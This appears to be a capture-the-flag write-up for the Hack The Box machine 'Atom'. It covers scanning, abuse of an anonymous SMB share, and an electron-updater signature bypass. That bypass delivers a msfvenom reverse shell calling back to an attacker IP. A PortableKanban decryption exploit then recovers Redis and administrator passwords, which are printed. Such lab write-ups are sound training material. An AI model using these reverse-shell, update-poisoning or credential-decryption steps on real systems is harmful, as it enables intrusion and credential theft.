Atom

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.237 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80,135,443,445,5985,6379,7680 10.10.10.237 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's start enumerating the website. It shows a simple landing page from where we can download a ZIP file from the Download for Windows button.

Once downloaded, unzip the heed_setup_v1.0.0.zip file.

unzip heed_setup_v1.0.0.zip

Now we get the heedv1 Setup 1.0.0.exe binary, which we can also decompress.

7z x heedv1\ Setup\ 1.0.0.exe

Now we've got the $PLUGINSDIR directory and the Uninstall heedv1.exe binary. Inside the folder there is another compressed file.

cd $PLUGINSDIR/

7z x /app-64.7z

Once decompressed, we should see the resources directory, which has a file called app.asar.

ls -l resources

It is possible to view and extract files from .asar files.

asar list app.asar

There is one file called main.js which could have valuable information. Extract that file to the current directory and check it out.

asar extract-file app.asar main.js

cat main.js

As we can see, it is requiring electron-updater. This might be helpful information in the future. Let's keep enumerating the server by listing SMB shares.

smbmap -H 10.10.10.237 -u 'guest'

Anonymous login is enabled and we can read and write into the Software_Updates share. Let's mount it to the system, and check its content.

mkdir /mnt/Software_Updates

mount -t cifs //10.10.10.237/Software_Updates /mnt/Software_Updates

tree -fas /mnt/Software_Updates/

The PDF file says that the QA team will check the client folders.

Exploitation

As we saw earlier, the main.js was using electron-updater. If we google for any common exploits associated with that technology, we'll find an article called Signature Validation Bypass Leading to RCE In Electron-Updater, explaining how to get remote command execution. First, we need to create a malicious .exe file with a ' character in the name.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f exe -o "r'everse.exe"

Then, we need to create a file called latest.yml with a link to an HTTP server pointing to the r'everse.exe file and the SHA512 hash of the file.

sha512sum r'everse.exe

nano latest.yml

Now, set a simple HTTP server where the r'everse.exe binary is located.

python -m http.server 80

And a netcat listener on port 4444 with rlwrap.

nc -lvnp 4444

Finally, copy the latest.yml file to the client1 folder from the Software_Updates share. Once the QA team installs the latest.yml, we'll get a reverse shell as jason, and then we'll be able to grab the user flag.

cp latest.yml /mnt/Software_Updates/client1

Privilege Escalation

Inside the downloads folder, there is one directory called PortableKanban.

dir \users\jason\downloads

Inside the PortableKanban folder, there is one configuration file called PortableKanban.cfg.

dir \users\jason\downloads\PortableKanban

The PortableKanban.cfg file has one encrypted password for a Redis database.

type \users\jason\downloads\PortableKanban\PortableKanban.cfg

There is one Portable Kanban vulnerability, which seems to decrypt some passwords.

searchsploit PortableKanban

Let's transfer it to our local machine, and modify it a bit.

searchsploit -m windows/local/49409.py

nano 49409.py

Run the script to get the clear text password.

python 49409.py 'Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb'

Now that we have credentials for the Redis database, let's connect to it and authenticate. Once logged in, we'll see there is one database.

redis-cli -h 10.10.10.237

It has four keys.

And the third one has another encrypted password.

Run again the script with the new encrypted password.

python 49409.py 'Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi'

This password is valid for the administrator user.

crackmapexec smb 10.10.10.237 -u 'administrator' -p 'kidvscat_admin_@123'

Finally, get a shell as the administrator, and then all we have to do is reap the harvest and take the root flag.

evil-winrm -i 10.10.10.237 -u 'administrator' -p 'kidvscat_admin_@123'

Last updated

Was this helpful?